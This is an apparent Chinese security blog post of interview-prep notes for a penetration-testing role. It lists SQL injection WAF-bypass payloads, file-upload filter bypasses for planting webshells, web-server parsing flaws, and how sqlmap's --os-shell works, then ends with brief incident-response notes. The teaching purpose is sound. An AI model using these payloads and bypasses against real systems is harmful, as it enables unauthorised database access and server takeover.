前言

这段时间一直在忙面试的事情,就没及时更新。等面试等的确实折磨,不过还好面完了,轻松了许多了,终于想起来更新了,写一下面试中被问到的问题,整体面的还可以,只是有一些小细节没答好;难度偏简单

sql注入的绕过姿势

大小写绕过

eg:id=-1 uniOn selEct 1,2,database()#

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。注意不是注释符/*… */,不要搞混了。

eg:id=-1 union /!select/ 1,2,database()#

双写关键词绕过

一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。

eg:id=-1 union seselectlect 1,2,database()#

特殊编码绕过

十六进制绕过

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B

ascii编码绕过

eg:Test =CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

Unicode编码

常用的几个符号的一些Unicode编码:

单引号: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

空格过滤绕过

1)/**/

2)()

3)回车(url编码中的%0a)

4)`(tap键上面的按钮)

5)tap

6)两个空格

eg:union//select//1,2
select(passwd)from(users) #注意括号中不能含有*
selectpasswdfromusers

过滤or and xor(异或) not 绕过

and = &&

or = ||

xor = |

not = !

过滤=绕过

1)不加通配符的like执行的效果和=一致,所以可以用来绕过。

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name like “users”

2)rlike:模糊匹配,只要字段的值中存在要查找的 部分
就会被选择出来,用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name rlike “users”

3)regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name regexp “users”

4)使用大小于号来绕过

eg:select * from users where id > 1 and id < 3

5)<> 等价于 !=,所以在前面再加一个!结果就是等号了

eg:select * from users where !(id <> 1)

过滤大于小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。

1)greatest(n1, n2, n3…):返回n中的最大值

eg:select * from users where id = 1 and
greatest(ascii(substr(username,1,1)),1)=116

2)least(n1,n2,n3…):返回n中的最小值,与上同理。

3)strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回1

eg:select * from users where id = 1 and
strcmp(ascii(substr(username,1,1)),117)

4)in关键字

eg:select * from users where id = 1 and substr(username,1,1) in (‘t’)

5)between a and b:范围在a-b之间,包括a、b。

eg:select * from users where id between 1 and 2

select * from users where id between 1 and 1

过滤引号绕过

使用16进制

eg:UNION SELECT 1,group_concat(column_name) from
information_schema.columns where table_name=0x61645F6C696E6B

宽字节,常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。%27表示 ‘(单引号),单引号会被转义成’

eg:%E6’ union select 1,2 #
%df%27 union select 1,2,3 #

过滤逗号绕过

如果waf过滤了逗号,并且只能盲注,在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for
len,其中pos代表从pos个开始读取len长度的子串

eg:常规写法 select substr(“string”,1,3)
若过滤了逗号,可以使用from pos for len来取代 select substr(“string” from 1 for 3)
sql盲注中 select ascii(substr(database() from 1 for 1)) > 110

join关键字来绕过

eg:select * from (select 1)a join (select 2)b join(select 3)c
上式等价于select 1,2,3

使用like关键字,适用于substr()等提取子串的函数中的逗号

eg:select user() like “t%”
上式等价于 select ascii(substr(user(),1,1))=114

使用offset关键字,适用于limit中的逗号被过滤的情况,limit 2,1等价于limit 1 offset 2

eg:select * from users limit 1 offset 2
上式等价于 select * from users limit 2,1

过滤函数绕过

1)sleep() –>benchmark()

MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。
参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式

eg:select 1,2 and benchmark(1000000000,1)

2)ascii()–>hex()、bin(),替代之后再使用对应的进制转string即可

3)group_concat()–>concat_ws(),第一个参数为分隔符

eg:mysql> select concat_ws(“,”,“str1”,“str2”)

4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()

5)user() –> @@user、datadir–>@@datadir

6)ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

缓冲区溢出

缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

eg:?id=1 and (select 1)=(Select
0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

文件上传后遇到重定向怎么办

这个问题说实话我没遇到过,也是学到了有可能会有这种防御手段;这其实就是网站为了防止文件上传攻击做出的防御手段,致使我们上传文件后直接跳转到其他网页

0x01修改前端

绕过方法:前端页面form表单中button 按钮默认类型submit,修改为button可解决此问题

例如:将提交文件的form表单在浏览器控制台中中修改为button即可绕过

<body>
    <form action="/upload" method="POST" enctype="multipart/form-data">
        文件:<input type="file" name="test" />
        <input type="submit"/> 
    </form>
</body>

0x02后端

如果是返回数据包中找不到webshell的路径无法连接,那就需要进行下一步

  1. 是否能跨目录传shell
  2. 上传的shell没路径,是否可以通过信息收集找到shell路径
  3. 传oss

0x03其他

如果是对文件进行了重命名的话,那就需要去试试是否能找到这个shell或者进行下一部绕过。

文件上传黑白名单及绕过

关于文件上传其实打过upload的哪个靶场久很清楚了,这里再啰嗦一遍;

  1. 前端js检测:浏览器禁用js或者数据包修改后缀
  2. MIME检测:抓包修改MIME
  3. 文件重命名:尝试找到数据包中是否有重命名后的文件名或者信息收集看是否能找到
  4. 二次渲染:上传的正常的图片下载下来,对比未被修改的部分,写入shell再次上传即可,跟upload靶场一样
  5. 黑名单限制文件类型:通过改变大小写、添加空格、tab键、改变后缀的方式绕过(例如Php,php3,php5)
  6. 白名单限制文件类型:尝试通过解析漏洞,在特定版本或者配置的nginx或者iis服务器绕过(%00截断)等

上传的shell不被解析怎么办

尝试文件包含

解析漏洞了解哪些

apache解析漏洞,xx.php.rar先解析rar,无法识别继续向前解析到php;iis5.x/6.0解析漏洞,创建一个1.asp的文件夹,上回传.jpg文件到1.asp目录下会把jpg当作asp解析;nginx<0.83,在默认Fast-CGI开启状况下,访问xx.jpg后在url后加上/.php,服务器将把xx.jpg文件当做php文件解析并执行等

sqlmap –os-shell 原理了解吗

sqlmap的–os-shell在mysql数据库中的原理,其实就是往服务器上写入了两个php,其中一个给我们提供了文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下。另外一个则是返回了可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。
关于sqlmap --os-shell 后续我会专门写一篇文章来介绍

渗透流程以及渗透经历

开放性题目

护网用过的设备

开放性题目

服务器出现webs hell该如何排查

跟下方有点类似,其实就是问应急响应,也是开放性题目

Windows系统排查流程

开放性题目

Linux被上传一个攻击工具去排查日志时需要重点注意哪些字段

这个没怎么答上来,虽然是开放性题目,还是简单写一下

  1. 排查登录日志,是否有大量登录失败的日志,攻击者可能爆破成功进入上传攻击攻击,例如ssh等
  2. 排查web日志,关注是否有上传文件记录以及通过web进行登录的日志
  3. 关注是否是从内网登录进来上传攻击工具,查看是否有最近新建用户

大概是这个样子,剩下的大家自由发挥

总结

面试过程中不要磕磕巴巴,就算说错了也要流利一点,还有就是不要纠结没说全之类的问题,没有人在面试的时候能百分之百说对,对于自己给出的答案要一口咬定,不要不自信,就算错了也没关系。一面问题多多少少忘了,等后续再写。